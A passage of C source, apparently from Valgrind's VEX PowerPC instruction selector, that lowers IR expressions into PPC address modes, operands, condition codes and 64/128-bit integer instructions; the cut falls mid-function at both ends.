sane_AMode ( ISelEnv* env, PPCAMode* am ) { Bool mode64 = env->mode64; switch (am->tag) { case Pam_IR: return toBool( hregClass(am->Pam.IR.base) == HRcGPR(mode64) && hregIsVirtual(am->Pam.IR.base) && uInt_fits_in_16_bits(am->Pam.IR.index) ); case Pam_RR: return toBool( hregClass(am->Pam.RR.base) == HRcGPR(mode64) && hregIsVirtual(am->Pam.RR.base) && hregClass(am->Pam.RR.index) == HRcGPR(mode64) && hregIsVirtual(am->Pam.IR.index) ); default: vpanic("sane_AMode: unknown ppc amode tag"); } } static PPCAMode* iselWordExpr_AMode ( ISelEnv* env, IRExpr* e, IRType xferTy ) { PPCAMode* am = iselWordExpr_AMode_wrk(env, e, xferTy); vassert(sane_AMode(env, am)); return am; } static PPCAMode* iselWordExpr_AMode_wrk ( ISelEnv* env, IRExpr* e, IRType xferTy ) { IRType ty = typeOfIRExpr(env->type_env,e); if (env->mode64) { Bool aligned4imm = toBool(xferTy == Ity_I32 || xferTy == Ity_I64); vassert(ty == Ity_I64); if (e->tag == Iex_Binop && e->Iex.Binop.op == Iop_Add64 && e->Iex.Binop.arg2->tag == Iex_Const && e->Iex.Binop.arg2->Iex.Const.con->tag == Ico_U64 && (aligned4imm ? uLong_is_4_aligned(e->Iex.Binop.arg2 ->Iex.Const.con->Ico.U64) : True) && uLong_fits_in_16_bits(e->Iex.Binop.arg2 ->Iex.Const.con->Ico.U64)) { return PPCAMode_IR( (Int)e->Iex.Binop.arg2->Iex.Const.con->Ico.U64, iselWordExpr_R(env, e->Iex.Binop.arg1) ); } if (e->tag == Iex_Binop && e->Iex.Binop.op == Iop_Add64) { HReg r_base = iselWordExpr_R(env, e->Iex.Binop.arg1); HReg r_idx = iselWordExpr_R(env, e->Iex.Binop.arg2); return PPCAMode_RR( r_idx, r_base ); } } else { vassert(ty == Ity_I32); if (e->tag == Iex_Binop && e->Iex.Binop.op == Iop_Add32 && e->Iex.Binop.arg2->tag == Iex_Const && e->Iex.Binop.arg2->Iex.Const.con->tag == Ico_U32 && uInt_fits_in_16_bits(e->Iex.Binop.arg2 ->Iex.Const.con->Ico.U32)) { return PPCAMode_IR( (Int)e->Iex.Binop.arg2->Iex.Const.con->Ico.U32, iselWordExpr_R(env, e->Iex.Binop.arg1) ); } if (e->tag == Iex_Binop && e->Iex.Binop.op == Iop_Add32) { HReg r_base = iselWordExpr_R(env, e->Iex.Binop.arg1); HReg r_idx = iselWordExpr_R(env, e->Iex.Binop.arg2); return PPCAMode_RR( r_idx, r_base ); } } return PPCAMode_IR( 0, iselWordExpr_R(env,e) ); } static PPCRH* iselWordExpr_RH ( ISelEnv* env, Bool syned, IRExpr* e ) { PPCRH* ri = iselWordExpr_RH_wrk(env, syned, e); switch (ri->tag) { case Prh_Imm: vassert(ri->Prh.Imm.syned == syned); if (syned) vassert(ri->Prh.Imm.imm16 != 0x8000); return ri; case Prh_Reg: vassert(hregClass(ri->Prh.Reg.reg) == HRcGPR(env->mode64)); vassert(hregIsVirtual(ri->Prh.Reg.reg)); return ri; default: vpanic("iselIntExpr_RH: unknown ppc RH tag"); } } static PPCRH* iselWordExpr_RH_wrk ( ISelEnv* env, Bool syned, IRExpr* e ) { ULong u; Long l; IRType ty = typeOfIRExpr(env->type_env,e); vassert(ty == Ity_I8 || ty == Ity_I16 || ty == Ity_I32 || ((ty == Ity_I64) && env->mode64)); if (e->tag == Iex_Const) { IRConst* con = e->Iex.Const.con; switch (con->tag) { case Ico_U64: vassert(env->mode64); u = con->Ico.U64; break; case Ico_U32: u = 0xFFFFFFFF & con->Ico.U32; break; case Ico_U16: u = 0x0000FFFF & con->Ico.U16; break; case Ico_U8: u = 0x000000FF & con->Ico.U8; break; default: vpanic("iselIntExpr_RH.Iex_Const(ppch)"); } l = (Long)u; if (!syned && u <= 65535) { return PPCRH_Imm(False, toUShort(u & 0xFFFF)); } if (syned && l >= -32767 && l <= 32767) { return PPCRH_Imm(True, toUShort(u & 0xFFFF)); } } return PPCRH_Reg( iselWordExpr_R ( env, e ) ); } static PPCRI* iselWordExpr_RI ( ISelEnv* env, IRExpr* e ) { PPCRI* ri = iselWordExpr_RI_wrk(env, e); switch (ri->tag) { case Pri_Imm: return ri; case Pri_Reg: vassert(hregClass(ri->Pri.Reg) == HRcGPR(env->mode64)); vassert(hregIsVirtual(ri->Pri.Reg)); return ri; default: vpanic("iselIntExpr_RI: unknown ppc RI tag"); } } static PPCRI* iselWordExpr_RI_wrk ( ISelEnv* env, IRExpr* e ) { Long l; IRType ty = typeOfIRExpr(env->type_env,e); vassert(ty == Ity_I8 || ty == Ity_I16 || ty == Ity_I32 || ((ty == Ity_I64) && env->mode64)); if (e->tag == Iex_Const) { IRConst* con = e->Iex.Const.con; switch (con->tag) { case Ico_U64: vassert(env->mode64); l = (Long) con->Ico.U64; break; case Ico_U32: l = (Long)(Int) con->Ico.U32; break; case Ico_U16: l = (Long)(Int)(Short)con->Ico.U16; break; case Ico_U8: l = (Long)(Int)(Char )con->Ico.U8; break; default: vpanic("iselIntExpr_RI.Iex_Const(ppch)"); } return PPCRI_Imm((ULong)l); } return PPCRI_Reg( iselWordExpr_R ( env, e ) ); } static PPCRH* iselWordExpr_RH5u ( ISelEnv* env, IRExpr* e ) { PPCRH* ri; vassert(!env->mode64); ri = iselWordExpr_RH5u_wrk(env, e); switch (ri->tag) { case Prh_Imm: vassert(ri->Prh.Imm.imm16 >= 1 && ri->Prh.Imm.imm16 <= 31); vassert(!ri->Prh.Imm.syned); return ri; case Prh_Reg: vassert(hregClass(ri->Prh.Reg.reg) == HRcGPR(env->mode64)); vassert(hregIsVirtual(ri->Prh.Reg.reg)); return ri; default: vpanic("iselIntExpr_RH5u: unknown ppc RI tag"); } } static PPCRH* iselWordExpr_RH5u_wrk ( ISelEnv* env, IRExpr* e ) { IRType ty = typeOfIRExpr(env->type_env,e); vassert(ty == Ity_I8); if (e->tag == Iex_Const && e->Iex.Const.con->tag == Ico_U8 && e->Iex.Const.con->Ico.U8 >= 1 && e->Iex.Const.con->Ico.U8 <= 31) { return PPCRH_Imm(False, e->Iex.Const.con->Ico.U8); } return PPCRH_Reg( iselWordExpr_R ( env, e ) ); } static PPCRH* iselWordExpr_RH6u ( ISelEnv* env, IRExpr* e ) { PPCRH* ri; vassert(env->mode64); ri = iselWordExpr_RH6u_wrk(env, e); switch (ri->tag) { case Prh_Imm: vassert(ri->Prh.Imm.imm16 >= 1 && ri->Prh.Imm.imm16 <= 63); vassert(!ri->Prh.Imm.syned); return ri; case Prh_Reg: vassert(hregClass(ri->Prh.Reg.reg) == HRcGPR(env->mode64)); vassert(hregIsVirtual(ri->Prh.Reg.reg)); return ri; default: vpanic("iselIntExpr_RH6u: unknown ppc64 RI tag"); } } static PPCRH* iselWordExpr_RH6u_wrk ( ISelEnv* env, IRExpr* e ) { IRType ty = typeOfIRExpr(env->type_env,e); vassert(ty == Ity_I8); if (e->tag == Iex_Const && e->Iex.Const.con->tag == Ico_U8 && e->Iex.Const.con->Ico.U8 >= 1 && e->Iex.Const.con->Ico.U8 <= 63) { return PPCRH_Imm(False, e->Iex.Const.con->Ico.U8); } return PPCRH_Reg( iselWordExpr_R ( env, e ) ); } static PPCCondCode iselCondCode ( ISelEnv* env, IRExpr* e ) { return iselCondCode_wrk(env,e); } static PPCCondCode iselCondCode_wrk ( ISelEnv* env, IRExpr* e ) { vassert(e); vassert(typeOfIRExpr(env->type_env,e) == Ity_I1); if (e->tag == Iex_Const && e->Iex.Const.con->Ico.U1 == True) { HReg r_zero = newVRegI(env); addInstr(env, PPCInstr_LI(r_zero, 0, env->mode64)); addInstr(env, PPCInstr_Cmp(False, True, 7, r_zero, PPCRH_Reg(r_zero))); return mk_PPCCondCode( Pct_TRUE, Pcf_7EQ ); } if (e->tag == Iex_Unop && e->Iex.Unop.op == Iop_Not1) { PPCCondCode cond = iselCondCode(env, e->Iex.Unop.arg); cond.test = invertCondTest(cond.test); return cond; } if (e->tag == Iex_Unop && (e->Iex.Unop.op == Iop_32to1 || e->Iex.Unop.op == Iop_64to1)) { HReg src = iselWordExpr_R(env, e->Iex.Unop.arg); HReg tmp = newVRegI(env); addInstr(env, PPCInstr_Alu(Palu_AND, tmp, src, PPCRH_Imm(False,1))); addInstr(env, PPCInstr_Cmp(False, True, 7, tmp, PPCRH_Imm(False,1))); return mk_PPCCondCode( Pct_TRUE, Pcf_7EQ ); } if (e->tag == Iex_Unop && e->Iex.Unop.op == Iop_CmpNEZ8) { HReg arg = iselWordExpr_R(env, e->Iex.Unop.arg); HReg tmp = newVRegI(env); addInstr(env, PPCInstr_Alu(Palu_AND, tmp, arg, PPCRH_Imm(False,0xFF))); addInstr(env, PPCInstr_Cmp(False, True, 7, tmp, PPCRH_Imm(False,0))); return mk_PPCCondCode( Pct_FALSE, Pcf_7EQ ); } if (e->tag == Iex_Unop && e->Iex.Unop.op == Iop_CmpNEZ32) { HReg r1 = iselWordExpr_R(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Cmp(False, True, 7, r1, PPCRH_Imm(False,0))); return mk_PPCCondCode( Pct_FALSE, Pcf_7EQ ); } if (e->tag == Iex_Binop && (e->Iex.Binop.op == Iop_CmpEQ32 || e->Iex.Binop.op == Iop_CmpNE32 || e->Iex.Binop.op == Iop_CmpLT32S || e->Iex.Binop.op == Iop_CmpLT32U || e->Iex.Binop.op == Iop_CmpLE32S || e->Iex.Binop.op == Iop_CmpLE32U)) { Bool syned = (e->Iex.Binop.op == Iop_CmpLT32S || e->Iex.Binop.op == Iop_CmpLE32S); HReg r1 = iselWordExpr_R(env, e->Iex.Binop.arg1); PPCRH* ri2 = iselWordExpr_RH(env, syned, e->Iex.Binop.arg2); addInstr(env, PPCInstr_Cmp(syned, True, 7, r1, ri2)); switch (e->Iex.Binop.op) { case Iop_CmpEQ32: return mk_PPCCondCode( Pct_TRUE, Pcf_7EQ ); case Iop_CmpNE32: return mk_PPCCondCode( Pct_FALSE, Pcf_7EQ ); case Iop_CmpLT32U: case Iop_CmpLT32S: return mk_PPCCondCode( Pct_TRUE, Pcf_7LT ); case Iop_CmpLE32U: case Iop_CmpLE32S: return mk_PPCCondCode( Pct_FALSE, Pcf_7GT ); default: vpanic("iselCondCode(ppc): CmpXX32"); } } if (e->tag == Iex_Unop && e->Iex.Unop.op == Iop_CmpNEZ64) { if (!env->mode64) { HReg hi, lo; HReg tmp = newVRegI(env); iselInt64Expr( &hi, &lo, env, e->Iex.Unop.arg ); addInstr(env, PPCInstr_Alu(Palu_OR, tmp, lo, PPCRH_Reg(hi))); addInstr(env, PPCInstr_Cmp(False, True, 7, tmp,PPCRH_Imm(False,0))); return mk_PPCCondCode( Pct_FALSE, Pcf_7EQ ); } else { HReg r_src = iselWordExpr_R(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Cmp(False, False, 7, r_src,PPCRH_Imm(False,0))); return mk_PPCCondCode( Pct_FALSE, Pcf_7EQ ); } } if (e->tag == Iex_Binop && (e->Iex.Binop.op == Iop_CmpEQ64 || e->Iex.Binop.op == Iop_CmpNE64 || e->Iex.Binop.op == Iop_CmpLT64S || e->Iex.Binop.op == Iop_CmpLT64U || e->Iex.Binop.op == Iop_CmpLE64S || e->Iex.Binop.op == Iop_CmpLE64U)) { Bool syned = (e->Iex.Binop.op == Iop_CmpLT64S || e->Iex.Binop.op == Iop_CmpLE64S); HReg r1 = iselWordExpr_R(env, e->Iex.Binop.arg1); PPCRH* ri2 = iselWordExpr_RH(env, syned, e->Iex.Binop.arg2); vassert(env->mode64); addInstr(env, PPCInstr_Cmp(syned, False, 7, r1, ri2)); switch (e->Iex.Binop.op) { case Iop_CmpEQ64: return mk_PPCCondCode( Pct_TRUE, Pcf_7EQ ); case Iop_CmpNE64: return mk_PPCCondCode( Pct_FALSE, Pcf_7EQ ); case Iop_CmpLT64U: return mk_PPCCondCode( Pct_TRUE, Pcf_7LT ); case Iop_CmpLE64U: return mk_PPCCondCode( Pct_FALSE, Pcf_7GT ); default: vpanic("iselCondCode(ppc): CmpXX64"); } } if (e->tag == Iex_RdTmp) { HReg r_src = lookupIRTemp(env, e->Iex.RdTmp.tmp); HReg src_masked = newVRegI(env); addInstr(env, PPCInstr_Alu(Palu_AND, src_masked, r_src, PPCRH_Imm(False,1))); addInstr(env, PPCInstr_Cmp(False, True, 7, src_masked, PPCRH_Imm(False,1))); return mk_PPCCondCode( Pct_TRUE, Pcf_7EQ ); } vex_printf("iselCondCode(ppc): No such tag(%u)\n", e->tag); ppIRExpr(e); vpanic("iselCondCode(ppc)"); } static void iselInt128Expr ( HReg* rHi, HReg* rLo, ISelEnv* env, IRExpr* e ) { vassert(env->mode64); iselInt128Expr_wrk(rHi, rLo, env, e); # if 0 vex_printf("\n"); ppIRExpr(e); vex_printf("\n"); # endif vassert(hregClass(*rHi) == HRcGPR(env->mode64)); vassert(hregIsVirtual(*rHi)); vassert(hregClass(*rLo) == HRcGPR(env->mode64)); vassert(hregIsVirtual(*rLo)); } static void iselInt128Expr_wrk ( HReg* rHi, HReg* rLo, ISelEnv* env, IRExpr* e ) { vassert(e); vassert(typeOfIRExpr(env->type_env,e) == Ity_I128); if (e->tag == Iex_RdTmp) { lookupIRTempPair( rHi, rLo, env, e->Iex.RdTmp.tmp); return; } if (e->tag == Iex_Binop) { switch (e->Iex.Binop.op) { case Iop_MullU64: case Iop_MullS64: { HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); Bool syned = toBool(e->Iex.Binop.op == Iop_MullS64); HReg r_srcL = iselWordExpr_R(env, e->Iex.Binop.arg1); HReg r_srcR = iselWordExpr_R(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_MulL(False, False, False, tLo, r_srcL, r_srcR)); addInstr(env, PPCInstr_MulL(syned, True, False, tHi, r_srcL, r_srcR)); *rHi = tHi; *rLo = tLo; return; } case Iop_64HLto128: *rHi = iselWordExpr_R(env, e->Iex.Binop.arg1); *rLo = iselWordExpr_R(env, e->Iex.Binop.arg2); return; default: break; } } if (e->tag == Iex_Unop) { switch (e->Iex.Unop.op) { default: break; } } vex_printf("iselInt128Expr(ppc64): No such tag(%u)\n", e->tag); ppIRExpr(e); vpanic("iselInt128Expr(ppc64)"); } static void iselInt128Expr_to_32x4 ( HReg* rHi, HReg* rMedHi, HReg* rMedLo, HReg* rLo, ISelEnv* env, IRExpr* e ) { vassert(!env->mode64); iselInt128Expr_to_32x4_wrk(rHi, rMedHi, rMedLo, rLo, env, e); # if 0 vex_printf("\n"); ppIRExpr(e); vex_printf("\n"); # endif vassert(hregClass(*rHi) == HRcInt32); vassert(hregIsVirtual(*rHi)); vassert(hregClass(*rMedHi) == HRcInt32); vassert(hregIsVirtual(*rMedHi)); vassert(hregClass(*rMedLo) == HRcInt32); vassert(hregIsVirtual(*rMedLo)); vassert(hregClass(*rLo) == HRcInt32); vassert(hregIsVirtual(*rLo)); } static void iselInt128Expr_to_32x4_wrk ( HReg* rHi, HReg* rMedHi, HReg* rMedLo, HReg* rLo, ISelEnv* env, IRExpr* e ) { vassert(e); vassert(typeOfIRExpr(env->type_env,e) == Ity_I128); if (e->tag == Iex_RdTmp) { lookupIRTempQuad( rHi, rMedHi, rMedLo, rLo, env, e->Iex.RdTmp.tmp); return; } if (e->tag == Iex_Binop) { IROp op_binop = e->Iex.Binop.op; switch (op_binop) { case Iop_64HLto128: iselInt64Expr(rHi, rMedHi, env, e->Iex.Binop.arg1); iselInt64Expr(rMedLo, rLo, env, e->Iex.Binop.arg2); return; default: vex_printf("iselInt128Expr_to_32x4_wrk: Binop case 0x%x not found\n", op_binop); break; } } vex_printf("iselInt128Expr_to_32x4_wrk: e->tag 0x%x not found\n", e->tag); return; } static void iselInt64Expr ( HReg* rHi, HReg* rLo, ISelEnv* env, IRExpr* e ) { vassert(!env->mode64); iselInt64Expr_wrk(rHi, rLo, env, e); # if 0 vex_printf("\n"); ppIRExpr(e); vex_printf("\n"); # endif vassert(hregClass(*rHi) == HRcInt32); vassert(hregIsVirtual(*rHi)); vassert(hregClass(*rLo) == HRcInt32); vassert(hregIsVirtual(*rLo)); } static void iselInt64Expr_wrk ( HReg* rHi, HReg* rLo, ISelEnv* env, IRExpr* e ) { vassert(e); vassert(typeOfIRExpr(env->type_env,e) == Ity_I64); if (e->tag == Iex_Load && e->Iex.Load.end == Iend_BE) { HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); HReg r_addr = iselWordExpr_R(env, e->Iex.Load.addr); vassert(!env->mode64); addInstr(env, PPCInstr_Load( 4, tHi, PPCAMode_IR( 0, r_addr ), False) ); addInstr(env, PPCInstr_Load( 4, tLo, PPCAMode_IR( 4, r_addr ), False) ); *rHi = tHi; *rLo = tLo; return; } if (e->tag == Iex_Const) { ULong w64 = e->Iex.Const.con->Ico.U64; UInt wHi = ((UInt)(w64 >> 32)) & 0xFFFFFFFF; UInt wLo = ((UInt)w64) & 0xFFFFFFFF; HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); vassert(e->Iex.Const.con->tag == Ico_U64); addInstr(env, PPCInstr_LI(tHi, (Long)(Int)wHi, False)); addInstr(env, PPCInstr_LI(tLo, (Long)(Int)wLo, False)); *rHi = tHi; *rLo = tLo; return; } if (e->tag == Iex_RdTmp) { lookupIRTempPair( rHi, rLo, env, e->Iex.RdTmp.tmp); return; } if (e->tag == Iex_Get) { PPCAMode* am_addr = PPCAMode_IR( e->Iex.Get.offset, GuestStatePtr(False) ); PPCAMode* am_addr4 = advance4(env, am_addr); HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); addInstr(env, PPCInstr_Load( 4, tHi, am_addr, False )); addInstr(env, PPCInstr_Load( 4, tLo, am_addr4, False )); *rHi = tHi; *rLo = tLo; return; } if (e->tag == Iex_Mux0X) { HReg e0Lo, e0Hi, eXLo, eXHi; HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); PPCCondCode cc = mk_PPCCondCode( Pct_TRUE, Pcf_7EQ ); HReg r_cond = iselWordExpr_R(env, e->Iex.Mux0X.cond); HReg r_tmp = newVRegI(env); iselInt64Expr(&e0Hi, &e0Lo, env, e->Iex.Mux0X.expr0); iselInt64Expr(&eXHi, &eXLo, env, e->Iex.Mux0X.exprX); addInstr(env, mk_iMOVds_RR(tHi,eXHi)); addInstr(env, mk_iMOVds_RR(tLo,eXLo)); addInstr(env, PPCInstr_Alu(Palu_AND, r_tmp, r_cond, PPCRH_Imm(False,0xFF))); addInstr(env, PPCInstr_Cmp(False, True, 7, r_tmp, PPCRH_Imm(False,0))); addInstr(env, PPCInstr_CMov(cc,tHi,PPCRI_Reg(e0Hi))); addInstr(env, PPCInstr_CMov(cc,tLo,PPCRI_Reg(e0Lo))); *rHi = tHi; *rLo = tLo; return; } if (e->tag == Iex_Binop) { IROp op_binop = e->Iex.Binop.op; switch (op_binop) { case Iop_MullU32: case Iop_MullS32: { HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); Bool syned = toBool(op_binop == Iop_MullS32); HReg r_srcL = iselWordExpr_R(env, e->Iex.Binop.arg1); HReg r_srcR = iselWordExpr_R(env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_MulL(False, False, True, tLo, r_srcL, r_srcR)); addInstr(env, PPCInstr_MulL(syned, True, True, tHi, r_srcL, r_srcR)); *rHi = tHi; *rLo = tLo; return; } case Iop_Or64: case Iop_And64: case Iop_Xor64: { HReg xLo, xHi, yLo, yHi; HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); PPCAluOp op = (op_binop == Iop_Or64) ? Palu_OR : (op_binop == Iop_And64) ? Palu_AND : Palu_XOR; iselInt64Expr(&xHi, &xLo, env, e->Iex.Binop.arg1); iselInt64Expr(&yHi, &yLo, env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_Alu(op, tHi, xHi, PPCRH_Reg(yHi))); addInstr(env, PPCInstr_Alu(op, tLo, xLo, PPCRH_Reg(yLo))); *rHi = tHi; *rLo = tLo; return; } case Iop_Add64: { HReg xLo, xHi, yLo, yHi; HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); iselInt64Expr(&xHi, &xLo, env, e->Iex.Binop.arg1); iselInt64Expr(&yHi, &yLo, env, e->Iex.Binop.arg2); addInstr(env, PPCInstr_AddSubC( True, True , tLo, xLo, yLo)); addInstr(env, PPCInstr_AddSubC( True, False, tHi, xHi, yHi)); *rHi = tHi; *rLo = tLo; return; } case Iop_32HLto64: *rHi = iselWordExpr_R(env, e->Iex.Binop.arg1); *rLo = iselWordExpr_R(env, e->Iex.Binop.arg2); return; case Iop_F64toI64S: case Iop_F64toI64U: { HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); HReg r1 = StackFramePtr(env->mode64); PPCAMode* zero_r1 = PPCAMode_IR( 0, r1 ); PPCAMode* four_r1 = PPCAMode_IR( 4, r1 ); HReg fsrc = iselDblExpr(env, e->Iex.Binop.arg2); HReg ftmp = newVRegF(env); vassert(!env->mode64); set_FPU_rounding_mode( env, e->Iex.Binop.arg1 ); sub_from_sp( env, 16 ); addInstr(env, PPCInstr_FpCftI(False, False, (op_binop == Iop_F64toI64S) ? True : False, True, ftmp, fsrc)); addInstr(env, PPCInstr_FpLdSt(False, 8, ftmp, zero_r1)); addInstr(env, PPCInstr_Load(4, tHi, zero_r1, False)); addInstr(env, PPCInstr_Load(4, tLo, four_r1, False)); add_to_sp( env, 16 ); *rHi = tHi; *rLo = tLo; return; } default: break; } } if (e->tag == Iex_Unop) { switch (e->Iex.Unop.op) { case Iop_CmpwNEZ64: { HReg argHi, argLo; HReg tmp1 = newVRegI(env); HReg tmp2 = newVRegI(env); iselInt64Expr(&argHi, &argLo, env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Alu(Palu_OR, tmp1, argHi, PPCRH_Reg(argLo))); addInstr(env, PPCInstr_Unary(Pun_NEG,tmp2,tmp1)); addInstr(env, PPCInstr_Alu(Palu_OR, tmp2, tmp2, PPCRH_Reg(tmp1))); addInstr(env, PPCInstr_Shft(Pshft_SAR, True, tmp2, tmp2, PPCRH_Imm(False, 31))); *rHi = tmp2; *rLo = tmp2; return; } case Iop_Left64: { HReg argHi, argLo; HReg zero32 = newVRegI(env); HReg resHi = newVRegI(env); HReg resLo = newVRegI(env); iselInt64Expr(&argHi, &argLo, env, e->Iex.Unop.arg); vassert(env->mode64 == False); addInstr(env, PPCInstr_LI(zero32, 0, env->mode64)); addInstr(env, PPCInstr_AddSubC( False, True, resLo, zero32, argLo )); addInstr(env, PPCInstr_AddSubC( False, False, resHi, zero32, argHi )); addInstr(env, PPCInstr_Alu(Palu_OR, resLo, resLo, PPCRH_Reg(argLo))); addInstr(env, PPCInstr_Alu(Palu_OR, resHi, resHi, PPCRH_Reg(argHi))); *rHi = resHi; *rLo = resLo; return; } case Iop_32Sto64: { HReg tHi = newVRegI(env); HReg src = iselWordExpr_R(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Shft(Pshft_SAR, True, tHi, src, PPCRH_Imm(False,31))); *rHi = tHi; *rLo = src; return; } case Iop_32Uto64: { HReg tHi = newVRegI(env); HReg tLo = iselWordExpr_R(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_LI(tHi, 0, False)); *rHi = tHi; *rLo = tLo; return; } case Iop_128to64: { HReg r_Hi = INVALID_HREG; HReg r_MedHi = INVALID_HREG; HReg r_MedLo = INVALID_HREG; HReg r_Lo = INVALID_HREG; iselInt128Expr_to_32x4(&r_Hi, &r_MedHi, &r_MedLo, &r_Lo, env, e->Iex.Unop.arg); *rHi = r_MedLo; *rLo = r_Lo; return; } case Iop_128HIto64: { HReg r_Hi = INVALID_HREG; HReg r_MedHi = INVALID_HREG; HReg r_MedLo = INVALID_HREG; HReg r_Lo = INVALID_HREG; iselInt128Expr_to_32x4(&r_Hi, &r_MedHi, &r_MedLo, &r_Lo, env, e->Iex.Unop.arg); *rHi = r_Hi; *rLo = r_MedHi; return; } case Iop_V128HIto64: case Iop_V128to64: { HReg r_aligned16; Int off = e->Iex.Unop.op==Iop_V128HIto64 ? 0 : 8; HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); HReg vec = iselVecExpr(env, e->Iex.Unop.arg); PPCAMode *am_off0, *am_offLO, *am_offHI; sub_from_sp( env, 32 ); r_aligned16 = get_sp_aligned16( env ); am_off0 = PPCAMode_IR( 0, r_aligned16 ); am_offHI = PPCAMode_IR( off, r_aligned16 ); am_offLO = PPCAMode_IR( off+4, r_aligned16 ); addInstr(env, PPCInstr_AvLdSt( False, 16, vec, am_off0 )); addInstr(env, PPCInstr_Load( 4, tHi, am_offHI, False )); addInstr(env, PPCInstr_Load( 4, tLo, am_offLO, False )); add_to_sp( env, 32 ); *rHi = tHi; *rLo = tLo; return; } case Iop_1Sto64: { HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); PPCCondCode cond = iselCondCode(env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Set(cond,tLo)); addInstr(env, PPCInstr_Shft(Pshft_SHL, True, tLo, tLo, PPCRH_Imm(False,31))); addInstr(env, PPCInstr_Shft(Pshft_SAR, True, tLo, tLo, PPCRH_Imm(False,31))); addInstr(env, mk_iMOVds_RR(tHi, tLo)); *rHi = tHi; *rLo = tLo; return; } case Iop_Not64: { HReg xLo, xHi; HReg tmpLo = newVRegI(env); HReg tmpHi = newVRegI(env); iselInt64Expr(&xHi, &xLo, env, e->Iex.Unop.arg); addInstr(env, PPCInstr_Unary(Pun_NOT,tmpLo,xLo)); addInstr(env, PPCInstr_Unary(Pun_NOT,tmpHi,xHi)); *rHi = tmpHi; *rLo = tmpLo; return; } case Iop_ReinterpF64asI64: { PPCAMode *am_addr0, *am_addr1; HReg fr_src = iselDblExpr(env, e->Iex.Unop.arg); HReg r_dstLo = newVRegI(env); HReg r_dstHi = newVRegI(env); sub_from_sp( env, 16 ); am_addr0 = PPCAMode_IR( 0, StackFramePtr(False) ); am_addr1 = PPCAMode_IR( 4, StackFramePtr(False) ); addInstr(env, PPCInstr_FpLdSt( False, 8, fr_src, am_addr0 )); addInstr(env, PPCInstr_Load( 4, r_dstHi, am_addr0, False )); addInstr(env, PPCInstr_Load( 4, r_dstLo, am_addr1, False )); *rHi = r_dstHi; *rLo = r_dstLo; add_to_sp( env, 16 ); return; } case Iop_ReinterpD64asI64: { HReg fr_src = iselDfp64Expr(env, e->Iex.Unop.arg); PPCAMode *am_addr0, *am_addr1; HReg r_dstLo = newVRegI(env); HReg r_dstHi = newVRegI(env); sub_from_sp( env, 16 ); am_addr0 = PPCAMode_IR( 0, StackFramePtr(False) ); am_addr1 = PPCAMode_IR( 4, StackFramePtr(False) ); addInstr(env, PPCInstr_FpLdSt( False, 8, fr_src, am_addr0 )); addInstr(env, PPCInstr_Load( 4, r_dstHi, am_addr0, False )); addInstr(env, PPCInstr_Load( 4, r_dstLo, am_addr1, False )); *rHi = r_dstHi; *rLo = r_dstLo; add_to_sp( env, 16 ); return; } case Iop_BCDtoDPB: { PPCCondCode cc; UInt argiregs; HReg argregs[2]; Int argreg; HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); HReg tmpHi; HReg tmpLo; ULong target; Bool mode64 = env->mode64; argregs[0] = hregPPC_GPR3(mode64); argregs[1] = hregPPC_GPR4(mode64); argiregs = 0; argreg = 0; iselInt64Expr( &tmpHi, &tmpLo, env, e->Iex.Unop.arg ); argiregs |= ( 1 << (argreg+3 ) ); addInstr( env, mk_iMOVds_RR( argregs[argreg++], tmpHi ) ); argiregs |= ( 1 << (argreg+3 ) ); addInstr( env, mk_iMOVds_RR( argregs[argreg], tmpLo ) ); cc = mk_PPCCondCode( Pct_ALWAYS, Pcf_NONE ); target = toUInt( Ptr_to_ULong(h_BCDtoDPB ) ); addInstr( env, PPCInstr_Call( cc, (Addr64)target, argiregs ) ); addInstr( env, mk_iMOVds_RR( tHi, argregs[argreg-1] ) ); addInstr( env, mk_iMOVds_RR( tLo, argregs[argreg] ) ); *rHi = tHi; *rLo = tLo; return; } case Iop_DPBtoBCD: { PPCCondCode cc; UInt argiregs; HReg argregs[2]; Int argreg; HReg tLo = newVRegI(env); HReg tHi = newVRegI(env); HReg tmpHi; HReg tmpLo; ULong target; Bool mode64 = env->mode64; argregs[0] = hregPPC_GPR3(mode64); argregs[1] = hregPPC_GPR4(mode64); argiregs = 0; argreg = 0; iselInt64Expr(&tmpHi, &tmpLo, env, e->Iex.Unop.arg); argiregs |= (1 << (argreg+3)); addInstr(env, mk_iMOVds_RR( argregs[argreg++], tmpHi )); argiregs |= (1 << (argreg+3)); addInstr(env, mk_iMOVds_RR( argregs[argreg], tmpLo)); cc = mk_PPCCondCode( Pct_ALWAYS, Pcf_NONE ); target = toUInt( Ptr_to_ULong( h_DPBtoBCD ) ); addInstr(env, PPCInstr_Call( cc, (Addr64)target, argiregs ) ); addInstr(env, mk_iMOVds_RR(tHi, argregs[argreg-1])); addInstr(env, mk_iMOVds_RR(tLo, argregs[argreg])); *rHi = tHi; *rLo = tLo; return; } default: break; } } vex_printf("iselInt64Expr(ppc): No such tag(%u)\n", e->tag); ppIRExpr(e); vpanic("iselInt64Expr(ppc)"); } static HReg iselFltExpr ( ISelEnv* env, IRExpr* e ) { HReg r = iselFltExpr_wrk( env, e ); # if 0 vex_printf("\n"); ppIRExpr(e); vex_printf("\n"); # endif vassert(hregClass(r) == HRcFlt64); vassert(hregIsVirtual(r)); return r; } static HReg iselFltExpr_wrk ( ISelEnv* env, IRExpr* e ) { Bool mode64 = env->mode64; IRType ty = typeOfIRExpr(env->type_env,e); vassert(ty == Ity_F32); if (e->tag == Iex_RdTmp) { return lookupIRTemp(env, e->Iex.RdTmp.tmp); } if (e->tag == Iex_Load && e->Iex.Load.end == 